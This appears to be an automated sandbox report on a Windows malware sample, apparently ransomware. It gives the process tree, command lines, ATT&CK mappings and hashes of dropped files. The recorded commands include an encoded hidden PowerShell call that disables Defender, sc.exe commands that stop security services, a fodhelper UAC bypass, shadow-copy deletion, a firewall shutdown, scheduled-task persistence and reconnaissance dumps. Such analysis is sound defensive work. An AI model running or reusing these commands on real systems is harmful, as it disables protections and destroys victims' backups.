description pid Process procid_target PID 3252 wrote to memory of 5048 3252 cakhia-tv.ink_hyber.exe 85 PID 3252 wrote to memory of 3496 3252 cakhia-tv.ink_hyber.exe 87 PID 3252 wrote to memory of 3864 3252 cakhia-tv.ink_hyber.exe 139 PID 3252 wrote to memory of 4156 3252 cakhia-tv.ink_hyber.exe 91 PID 3252 wrote to memory of 3872 3252 cakhia-tv.ink_hyber.exe 93 PID 3252 wrote to memory of 5040 3252 cakhia-tv.ink_hyber.exe 95 PID 3252 wrote to memory of 4772 3252 cakhia-tv.ink_hyber.exe 97 PID 3252 wrote to memory of 3808 3252 cakhia-tv.ink_hyber.exe 99 PID 3252 wrote to memory of 4352 3252 cakhia-tv.ink_hyber.exe 101 PID 3252 wrote to memory of 372 3252 cakhia-tv.ink_hyber.exe 103 PID 372 wrote to memory of 516 372 fodhelper.exe 104 PID 3252 wrote to memory of 3448 3252 cakhia-tv.ink_hyber.exe 106 PID 3252 wrote to memory of 3092 3252 cakhia-tv.ink_hyber.exe 107 PID 3252 wrote to memory of 1440 3252 cakhia-tv.ink_hyber.exe 111 PID 3252 wrote to memory of 3224 3252 cakhia-tv.ink_hyber.exe 113 PID 3252 wrote to memory of 4568 3252 cakhia-tv.ink_hyber.exe 114 PID 3252 wrote to memory of 636 3252 cakhia-tv.ink_hyber.exe 115 PID 3252 wrote to memory of 2092 3252 cakhia-tv.ink_hyber.exe 116 PID 3252 wrote to memory of 2364 3252 cakhia-tv.ink_hyber.exe 117 PID 3252 wrote to memory of 396 3252 cakhia-tv.ink_hyber.exe 118 PID 3252 wrote to memory of 448 3252 cakhia-tv.ink_hyber.exe 119 PID 3252 wrote to memory of 5096 3252 cakhia-tv.ink_hyber.exe 120 PID 2364 wrote to memory of 4292 2364 cmd.exe 128 PID 396 wrote to memory of 1684 396 cmd.exe 129 PID 636 wrote to memory of 3364 636 cmd.exe 155 PID 3224 wrote to memory of 1872 3224 cmd.exe 131 PID 2092 wrote to memory of 2160 2092 cmd.exe 132 PID 4568 wrote to memory of 4956 4568 cmd.exe 133 PID 2160 wrote to memory of 3856 2160 net.exe 134 PID 1440 wrote to memory of 4928 1440 cmd.exe 135 PID 3252 wrote to memory of 988 3252 cakhia-tv.ink_hyber.exe 137 PID 1440 wrote to memory of 3864 1440 cmd.exe 139 PID 3252 wrote to memory of 3776 3252 cakhia-tv.ink_hyber.exe 140 PID 3252 wrote to memory of 1064 3252 cakhia-tv.ink_hyber.exe 141 PID 3252 wrote to memory of 5072 3252 cakhia-tv.ink_hyber.exe 142 PID 3252 wrote to memory of 3688 3252 cakhia-tv.ink_hyber.exe 143 PID 3252 wrote to memory of 2380 3252 cakhia-tv.ink_hyber.exe 145 PID 3252 wrote to memory of 2088 3252 cakhia-tv.ink_hyber.exe 147 PID 5072 wrote to memory of 4436 5072 net.exe 153 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5048
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3496
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3864
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4156
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3872
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5040
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4772
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:3808
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4352
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:372 -
C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe"C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe"3⤵PID:516
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3448
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4928
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:3864
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3224 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1872
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:4956
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3364
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3856
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4292
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:396 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:448
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5096
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:988
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3776
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:1064
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4436
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3688
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2380
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2088
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa39a3855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:356
-
C:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exeC:\Users\Admin\AppData\Local\Temp\cakhia-tv.ink_hyber.exe1⤵PID:3164
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3368
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 8fd369e25a7181d8f10165343356fbae tR6EVq1vukSL4ywX9qG8Vw.0.1.0.0.01⤵PID:3364
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-939655444-3071939294-1401108526-1000\ReadOnly\LockScreen_O\~ockScreen___1920_1080_notdimmed.tmp
- Size 383KB
- SHA256 567fc0e3473b1d3d99484556547696b188f54d45f442e23755099a5e4ac65893
- MD5 1b8649cad0bb7bfd28811204eeae5abc
- SHA1 11c9b2c97b10750e98c7726e311e40c24ac82860
- SHA512 8ec307ad86f77d0ae44e05cba51e5c254ad4755bec0cc6a57690f5384ee35bab510417527d6b35167b5f845e7642fdb08fedad8c27a5226f2faf64aaec7328a9
- SSDEEP 6144:2Chhpq8smAAluMioHGPIooOnrBqGMjdOv/cEV3w/hTS+rako1dl:zQ8hIyHGPBoQrcGMjdMV3w/ZS+OtR
- TLSH T124842340BEC166C1AE8984A7EBD7A2DDE190EC7C346832578474859D2F11A13E33C6FD
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 e96f2e3be252c5d997b98f6079c9924de42ebb4a99ff138d561d81b2e1206763
- MD5 ac86d3da288a24779f06bffd79f80f6d
- SHA1 754c602d1fad69ac1f750cbeb46aaa3a7bb10f7c
- SHA512 045cd5835c4971c543b6738ddff00ce1ae32328dd4bd40dd1db38e32e04a4817ed0288c184df2f8d00dcd592397e312a9ea5dd691ad42876b405d70cbec5782f
- SSDEEP 1536:F2Rveo0zwn1+7cRMa3EJb2TeDTkXKEVOMIWoqojXQQdGU4I13Vx0fd8E1Iu0:FgvQzwnA81EQ6Tkaj5XQQoRIJVx0fd8/
- TLSH T182632B738623FCC5677F3D40F0542D920C883A678775676CFBC90A9939A6288DF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cakhia-tv.ink_hyber.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lsw32voe.0np.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 244B
- SHA256 6c49d4e2f96724d2bce62542efdab058aaf5eae7f91e14dbe2962bb9c7869fdc
- MD5 3eb54d7105dcafb97c4c03144144017a
- SHA1 d60c16e8538f0df8fa5be58328d5f57d2666c830
- SHA512 2655e6c4237595ffa1557abb94a3fbc8d17e017a106bf8ef5469f08abff5a6b825d3b08edca430995a9f636b8944b37b0a0f18fc600775c7c018bfd67eda0903
- TLSH T1C2D0978BB18DC6A80000123B80F38F8CE5A548283B47BE604AA5CC0E36C088089F6843
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 245B
- SHA256 f97c4c0bcbe3b80d1018490f715368df4862e8ad3466efc0be1fbc5fadf2c693
- MD5 5fb861db491c03899b0100acb3b31201
- SHA1 91a7d8ef2aae415b61abedfeb5de5a131f3adb77
- SHA512 5d4bb3d903efa2bc8bb48aa57ab33af4ef2061ebbdd9837f1b02a2a7cc03c0c554ec1386299ec9e532fbbb451e82e52dadb3b3efd1cb4b1fcedacae5a39cae73
- TLSH T1B2D0A7CBB18DC6A90011563B80F38F8DE6E649283F57BE649A65DD0E76C089489F6943
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 f56ecfcbef5ea2c50d5adc34f646158c507c8dac7cf7da92a4ab2e6e82d1fa18
- MD5 d3e1b2892651b5af7180aa08f03a9f79
- SHA1 aa79f47bb3593cf04c759c58938da62c88a5cff3
- SHA512 10287222eeb0c4609c1e3e815fead927401663dc6f2928c39cfd68dcf234cb51a724b766c25c53cee2d12ec548f888f33fb14728ed65c9ea1611f9aec8d511e3
- SSDEEP 1536:l2Rveo0zwn1+7cRMa3EJb2TeDTkXKEVOMIWoqojXQQdGU4I13Vx0fd8E1IuV:lgvQzwnA81EQ6Tkaj5XQQoRIJVx0fd8c
- TLSH T19C633B338623FCC5677F3D40F1542D820C883A678775666CFBC90A5938A6688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 c154c5f2a9486ab937dce0370c66bee71eeb26456857711a7d1a9ea9e7a5b43d
- MD5 2543e0f5cc1164d57a71fc40245f5878
- SHA1 a65c75492c240345105c8dca351dd6af6bf9867f
- SHA512 21c3aa61fc4ce6ebcfada4250c5ad3d4b0898c775d2521ae8db188ff83c7c02d0eb921dadc63ac6174feb91934bb8f63b2e99af366e6eb9601a2e6e81be7539c
- SSDEEP 768:PrVZZ6zs0h16cFdQuSnqQ/NKPzfX/fYY4f:HZ6HhIxqQGP/fYY4f
- TLSH T12B33054437ED4521E1BF9ABE89F251128731F4639C23DB9E1AD8459E09F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH